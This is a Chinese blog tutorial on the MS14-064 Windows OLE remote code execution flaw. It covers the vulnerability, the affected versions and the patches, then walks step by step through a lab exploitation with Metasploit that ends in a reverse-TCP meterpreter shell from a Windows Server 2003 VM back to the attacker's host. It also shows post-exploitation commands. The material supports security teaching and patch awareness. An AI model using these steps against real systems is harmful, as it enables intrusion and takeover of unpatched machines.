目录
本文详细讲解MS14-064漏洞的原理与渗透流程,MS14-064是微软2014年修复的Windows OLE组件高危漏洞,允许通过恶意文档或网页实现远程代码执行。该漏洞影响Windows XP至8.1及对应服务器系统。本文详细分析了漏洞原理,并演示了使用Metasploit工具对Windows Server 2003靶机进行渗透测试的全过程,包括攻击模块配置、恶意URL生成、会话建立及后渗透操作。实验证明该漏洞可成功获取目标系统控制权,强调了及时安装安全补丁的重要性。
一、MS14-064漏洞
1、漏洞简介
MS14-064 是微软于 2014年11月 发布的一个紧急安全更新,用于修复 Microsoft Windows 操作系统核心组件 OLE(对象链接与嵌入) 中的两个高危远程代码执行漏洞。由于其危害性极大且利用代码很快被公开,该漏洞在当时受到了广泛关注。
| 项目 | 内容 |
|---|---|
| 公告标题 | Microsoft Windows OLE 中的漏洞可能允许远程代码执行 |
| 发布时间 | 2014年11月11日(常规补丁日) |
| 严重等级 | 严重 |
| CVE 编号 | CVE-2014-6352、CVE-2014-6332(OLE自动化漏洞) |
| 影响的组件 | Windows OLE 组件 |
| 攻击向量 | 恶意Office文档、恶意网页 |
2、漏洞原理
(1)OLE 简介
OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术。例如,在Word文档中嵌入一个Excel表格,这个表格就是一个OLE对象。
(2)漏洞机理
攻击者可以创建一个包含特制OLE对象的恶意文件(如.doc, .xls等)或网页。当用户使用受影响版本的Windows(尤其是Internet Explorer)打开此文档或访问此网页时,Windows会尝试解析其中的OLE对象。由于代码中存在内存处理错误,成功利用该漏洞可以绕过安全功能,并导致远程代码执行。
(3)漏洞利用方式
-
网络攻击:攻击者构造一个包含恶意OLE对象的网页,并诱使用户使用IE浏览器访问该页面。
-
文档攻击:通过钓鱼邮件发送嵌入恶意OLE对象的Office文档(如Word、Excel),用户打开文档后即触发漏洞。
3、影响范围
该漏洞影响范围极广,涵盖了当时几乎所有主流的Windows操作系统:
-
操作系统:
-
Windows XP → Windows 8.1
-
Windows Server 2003 → Windows Server 2012 R2
-
-
软件:
-
Internet Explorer (所有版本,因IE会解析网页中的OLE对象)
-
Microsoft Office (通过嵌入的恶意对象触发)
-
4、修复与解决方案
-
官方补丁:
微软通过安全更新 KB3006226 和 KB3010788 修复了此漏洞。用户可通过Windows Update自动安装或手动下载安装。 -
升级建议:
-
由于受影响的操作系统(如Windows XP)大多已停止支持,强烈建议升级到受支持的现代操作系统(如Windows 10/11)。
-
使用更现代的浏览器(如Microsoft Edge、Chrome、Firefox)以减少风险。
-
-
临时缓解措施:
-
切勿打开来源不明的Office文档或电子邮件附件。
-
在IE中禁用OLE支持(但可能会影响部分正常功能)。
-
二、渗透实战
1、渗透环境
靶机使用windows server2003环境,其中靶机、攻击机Kali处于同一网段(均使用Vmnet8网卡),做实验前需要确保kali和靶机是可以互相联通的。本文的渗透环境角色分配如下所示。
| 角色 | IP地址/URL | 说明 |
|---|---|---|
| 攻击机 (Kali) | 192.168.59.137 | 攻击机Kali,运行Metasploit等渗透测试工具。 |
| 靶机 | 192.168.59.139 | 您要攻击测试的目标机器(例如:一台存在漏洞的Windows虚拟机)。 |
2、攻击者配置MSF
(1)启动MSF
攻击机使用msconsole启动MSF模块
msfconsole

(2)查找MS14-064
MS14-064 是微软于 2014 年 11 月 11 日发布的一个安全公告编号,
search ms14-064
执行 search MS14-064命令,Metasploit 返回了与之匹配的模块。我们 选择使用exploit 模块:windows/browser/ms14_064_ole_code_execution。

(3)选择攻击模块
进入ms14-064漏洞渗透模块,并展示配置选项。
use 0
show options
使用 use 0 命令选择了该模块。Metasploit 自动配置了默认的Payload(攻击载荷):windows/meterpreter/reverse_tcp。这是一个反向TCP连接的Meterpreter shell,成功后会回连到您的攻击机。

(4)配置攻击信息
配置服务相关信息并开启渗透(此时ip地址填写的是攻击机的ip地址)
set AllowPowershellPrompt true
set SRVHOST 192.168.59.137
-
set AllowPowershellPrompt true:启用PowerShell提示(漏洞利用需要调用PowerShell)。 -
注意:
SRVPORT默认8080,无需更改;Lport默认4444,如不冲突无需修改。
运行结果如下所示,模块在后台启动了一个Web服务器(URL: http://192.168.59.137:8080/w9nnFh2CbUqSCCc)来托管恶意HTML页面复制下来链接http://192.168.59.137:8080/w9nnFh2CbUqSCCc后续会用到。

使用 run 命令启动攻击模块。Metasploit 将其作为后台作业运行,从输出信息可以看到:
-
[*] Started reverse TCP handler on 192.168.59.137:4444: 在4444端口启动了反向TCP监听器,等待目标系统上线(即中招后回连到这个端口)。 -
[*] Using URL:http://192.168.59.137:8080/w9nnFh2CbUqSCCc: 成功创建了恶意网址。 -
[*] Server started.: 攻击服务器已经启动并运行。
3、受害者点击URL
靶机(windows server2003)中使用ie访问http://192.168.59.137:8080/w9nnFh2CbUqSCCc。

4、攻击机渗透成功
此时回到kali攻击机查看攻击效果,如下所示靶机192.168.59.139与攻击机192.168.59.137成功建立shell连接。

回到Metasploit命令行,使用 sessions 或 sessions -l 命令查看是否建立了新的会话,如下所示。

5、后渗透
(1)进入会话
使用 sessions -i <会话ID>(例如 sessions -i 1)来交互并控制目标机器

备注:这里我选择第1个,大家根据实际情况任选一个即可,主要是要选存在的id
(2)获取用户id
![]()
(3)显示靶机系统信息

(4)查看ip地址

综上,分析可知目标系统的关键信息如下表所示。
| 信息项 | 值 | 说明 |
|---|---|---|
| 当前用户 | ADMIN-AD4C9D4D8\Administrator | 你当前已拥有最高权限(Administrator用户)。 |
| 计算机名 | ADMIN-AD4C9D4D8 | 目标机器的名称。 |
| 操作系统 | Windows Server 2003 | 一个非常古老且已停止支持的系统,漏洞较多。 |
| 系统架构 | x86 | 32位操作系统。 |
| 系统语言 | zh_CN | 中文简体系统。这在后续操作(如查找文件路径)时可能需要考虑。 |
| 网络域 | WORKGROUP | 该机器未加入域(Domain),是一个独立的工作组机器。 |
| 网络接口 | Intel(R) PRO/1000 MT | 虚拟网卡(常见于VMware虚拟机)。 |
| IP地址 | 192.168.59.139 | 目标机器在局域网中的IP地址。 |
| Meterpreter类型 | x86/windows | 你的载荷是32位的,与目标系统架构匹配。 |
1万+

被折叠的 条评论
为什么被折叠?



